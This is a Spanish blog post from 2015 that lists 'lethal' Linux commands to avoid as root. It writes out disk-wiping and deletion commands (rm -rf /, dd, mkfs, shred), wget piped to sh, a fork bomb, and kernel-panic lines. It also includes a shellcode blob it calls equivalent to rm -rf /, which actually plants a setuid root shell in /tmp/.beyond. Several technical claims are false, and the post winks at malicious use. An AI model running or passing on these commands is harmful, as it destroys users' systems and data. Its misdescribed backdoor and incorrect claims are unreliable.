domingo, 15 de febrero de 2015

COMANDOS LETALES EN LINUX


Linux es un potente sistema operativo tanto para servidor como para escritorio; no me cabe duda de ello. Como pentester o administrador de seguridad lo utilizo a menudo gracias a la gran cantidad de herramientas para testing que podemos encontrar.

En Linux es muy común que ejecutes comandos como # (root), aunque no siempre es lo recomendable a menos tengas mucha experiencia; dado a que puedes ejecutar con privilegios elevados algún comando letal que deje fuera de servicio tu Linux.

Estos son algunos de los comandos letales que “no debes” (queda claro el entrecomillas? ;D) ejecutar como # (root) o con privilegios elevados (sudoers).


  1. Utilizar erróneamente el comando rm de forma recursiva

Ejecutar el comando rm (remove) con (-r) que obliga borrado recursivo y (-f) confirmando la eliminación obligatoria. La (/) solo le indicas que sea desde la raíz.

rm -rf /

Un comando similar es:
rm -rf .*

Otra forma de hacer lo mismo que “rm -rf /” es:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
“\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;



  1. Ejecutar secuencias de comandos

Un comando muy útil (viejo pero muy poderoso) es el wget, utilizado para descargar “contenidos” entre otras cosas de un sitio web.

Sin embargo, hay un truco sencillo que puede resultar peligroso si el sitio que estás descargando tiene un script malicioso:

wget http: // url-sitioweb -O- | sh
La combinación de los comandos anteriores puede resultar letal cuando haya en el sitio que descargas un script (bash por ejemplo) malicioso ya que lo ejecuta inmediatamente al bajarlo.



  1. Eliminar los privilegios de superusuario:

Ejecutando este comando estarás eliminando la ejecución de comandos con privilegio de superusuario.

rm -f /usr/bin/sudo;rm -f /bin/su


  1. Desactivar los derechos de comandos root

Esta es otra forma de ejecutar el comando rm para eliminar los archivos sudo y su, esta acción tendría como efecto desactivar (corrijo lo dicho por una palabra más fuerte: eliminar) la ejecución de comandos como root.

rm -f /usr/bin /sudo; rm -f /bin/su

Recuerden que la opción (-f) elimina archivos/comandos de su sistema sin ninguna confirmación, quedando nuestro Linux inservible. Hay maneras de restaurar lo que se ha eliminado… pero no siempre es sencillo… ni será agradable al que le toque realizarlo.


  1. Formatear el disco duro

Este comando ejecutado “accidentalmente” (yo le diría maliciosamente) tiene un resultado letal formateando la propia unidad de disco duro.

mkfs.ext3 /dev/hda

Este comando formatea el disco duro como sistema de archivos ext3.


  1. Sobrescribir el disco duro

Como si el formateo del disco “accidental” no fuera suficiente, hay un comando que ejecutado como root o como superusuario es posible sobrescribir el disco duro.

[cualquier_comando] > /dev/sda

En el comando anterior, la salida del comando bash que ejecutes sobrescribirá la unidad del disco duro. Esto es posible porque en Linux todo es un “file”.


  1. Limpiar el disco duro

Aquí hay otra forma en que puedes arruinar tu sistema Linux. El dd es una herramienta útil y sencilla (quizás desconocidas para algunos) utilizada para clonar un disco duro. La sintaxis común es: dd if=[origen] of=[destino]; pero al ser utilizada con /dev/zero el comando limpia nuestro MBR y la tabla de particiones del disco duro. En otras palabras limpia el disco duro dejándolo en blanco.

dd if=/dev/zero of=/dev/hda

El parámetro (/dev/zero) produce como origen de los datos un flujo infinito de ceros que terminan almacenándose en /dev/hda.

Otra forma de usar este comando limpiando el MBR pero sin tocar la tabla de particiones (muy útil para borrar el GRUB sin perder datos en las particiones):

dd if=/dev/zero of=/dev/hda bs=446 count=1


8) Implosión del disco duro

Esta es otra forma de eliminar el disco duro es causando una “implosión” (como verán hay muchas formas de causarte daño a ti mismo, esta será la peor de las pesadillas). En Linux hay un archivo llamado “/dev/null” que suele utilizarse para descartar cualquier dato/comando que se escribe. Si tuviera que describir a “/dev/null” podría decir que este archivo es como un agujero negro o una trituradora de archivos: cualquier cosa (comando, archivo o directorio) que se le tires como entrada desaparecerá para siempre.

mv / /dev/null

¿Puedes ver o imaginarte el peligro aquí? El comando mv en manos de un root o superusuario moverá el directorio raíz “/ “ del sistema en al agujero negro de “/dev/null”. Este es un comando válido y el resultado es devastador dando como resultado la desaparición del disco duro… y no queda nada. Hacer esto hará que tu sistema quede inutilizable.


9) Destruir datos

Otra forma de destruir completamente los datos de un dispositivo, es a través del comando shred:

shred -vz -n 3 /dev/hda

Este comando escribirá 3 pases (rondas para que se entienda mejor) de datos aleatorios en el disco duro (o dispositivo extraíble como tarjetas de memoria, usb, sd, etc).


10) Fork Bomb

El lenguaje bash de Linux es sencillo, flexible y a la vez poderoso, puedes ejecutar comandos y también funciones. Desafortunadamente, algunas funciones vienen con su propio conjunto de riesgos, al igual que los comandos que estuvimos viendo.

:(){:|:&};:

Ejecutar este comando malicioso denominado fork bomb, que genera un colapso del kernel en Linux conocido como “kernel panic”.

Explico lo que pasa: Al ejecutar una función que se llama así misma en primer plano y una misma función en segundo plano (es decir en forma recursiva) por cada vez que esta función se ejecuta, genera dos procesos hijos y estos en forma recursiva van generando sus propios hijos creando un ciclo o bucle (en el viejo lenguaje de los programadores) infinito. Cuando pase esto, la única salida es reiniciar el sistema.


11) Causar Kernel Panic

Linux al igual que los demás sistemas operativos no se escapa de los errores. A veces, un error interno puede producirse a consecuencia recuperación es imposible causando un perfecto “kernel panic”. Estos comandos son:

dd if=/dev/random of=/dev/port
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
:(){:|:&};:

Cada una de estas líneas presenta al ejecutarse conseguirás un “kernel panic” o dejar tu sistema “tonto”. Tenga presente que al ejecutar estas líneas un Administrador sabrá que no ha sido un accidente, por lo que trate de estar alejado de ellos ;D

Muchos se preguntarán al llegar al final de este artículo, porque Linux permite ejecutar directamente estos y otros más comandos que no me atrevo (aún) a comentar sin confirmación… tengo una simple respuesta a esto: es porque eres el “root” y en Linux el “root” es el que manda.

Para finalizar recuerden estos puntos:
  1. Administren con seguridad sus sistemas operativos.
  2. Conoce tu sistema operativo.
  3. Estén seguros antes de darle “enter” al comando que están ejecutando.
  4. Si sospechas que tu Linux fue vulnerado; presta atención a los comandos que se ejecutan en primer y segundo plano. Para ello tendrás que cumplir con el punto 2.